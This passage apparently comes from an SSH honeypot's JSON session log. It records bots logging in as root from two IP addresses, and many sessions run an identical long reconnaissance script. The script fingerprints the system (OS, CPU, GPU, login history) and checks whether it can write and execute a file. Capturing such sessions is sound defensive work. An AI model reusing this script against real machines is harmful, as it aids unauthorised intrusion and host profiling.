)\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:16:55.255876+00:00",
  "ended_at": "2026-08-25T02:16:56.074408+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "846a24d9-8265-46de-a6d5-5e3979f06257",
  "name": "vivid-twilight-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 47668,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:16:55.009898+00:00",
  "ended_at": "2026-08-25T02:16:58.212838+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3105f7e0-bf30-4a5d-8162-1d6e5e38a932",
  "name": "supple-mellow-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 57410,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:16:44.613518+00:00",
  "ended_at": "2026-08-25T02:16:47.787372+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "518adfc9-b2f1-452e-a301-419a1d5530ac",
  "name": "gilded-mottled-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 41834,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:16:37.107608+00:00",
  "ended_at": "2026-08-25T02:16:41.205147+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "94a9809b-6e19-4019-9a95-183463d3d740",
  "name": "misty-oaken-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 41822,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:16:28.811871+00:00",
  "ended_at": "2026-08-25T02:16:34.493881+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d57634ca-0e53-40b8-81e7-68f8928673d1",
  "name": "nimble-ashen-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 56344,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:16:10.138098+00:00",
  "ended_at": "2026-08-25T02:16:11.141489+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b34bba23-f7dd-4331-946f-55b1573eff58",
  "name": "scarlet-supple-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 54726,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:15:25.120909+00:00",
  "ended_at": "2026-08-25T02:15:25.877515+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d035beb1-13c2-4239-b3ae-e61064196400",
  "name": "frugal-burly-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 41876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:15:19.604373+00:00",
  "ended_at": "2026-08-25T02:15:25.309300+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cf351a9a-11a7-4894-b7d3-5c94ba55c2dd",
  "name": "gritty-lofty-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 41364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:15:02.414323+00:00",
  "ended_at": "2026-08-25T02:15:05.613352+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41aa855e-7706-42c5-9d64-92fd4545b344",
  "name": "glacial-brave-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 44988,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:14:53.926809+00:00",
  "ended_at": "2026-08-25T02:14:57.510056+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "39a2d418-396e-4025-9e10-fe1a6ba682ff",
  "name": "bashful-coral-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 53102,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:14:38.643276+00:00",
  "ended_at": "2026-08-25T02:14:39.106098+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7153968d-e748-4bb2-8435-80a8c8ce567d",
  "name": "distant-lunar-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46812,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:14:34.600022+00:00",
  "ended_at": "2026-08-25T02:14:40.030226+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6ebf26e4-0a7e-4c4c-91a7-34941a580955",
  "name": "misty-austere-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 34786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:14:02.304220+00:00",
  "ended_at": "2026-08-25T02:14:05.404369+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c471f38c-c514-418e-86dc-0132ae31cd2a",
  "name": "sooty-zealous-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 51470,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:13:52.073144+00:00",
  "ended_at": "2026-08-25T02:13:52.843340+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "cb993b72-be0a-4d32-926d-74cff7ef4a11",
  "name": "opal-fickle-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39060,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:13:48.300971+00:00",
  "ended_at": "2026-08-25T02:13:51.217483+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7d0f160e-2a1f-4201-b1c0-ad83b18c5e69",
  "name": "blazing-glacial-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:13:37.005909+00:00",
  "ended_at": "2026-08-25T02:13:42.401315+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bc72195d-7c39-463a-a47f-c699c2f16251",
  "name": "tender-steady-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46572,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:13:29.901383+00:00",
  "ended_at": "2026-08-25T02:13:35.311198+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "298e887d-55da-4efe-8677-2002408de29b",
  "name": "prickly-pleasant-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 49874,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c 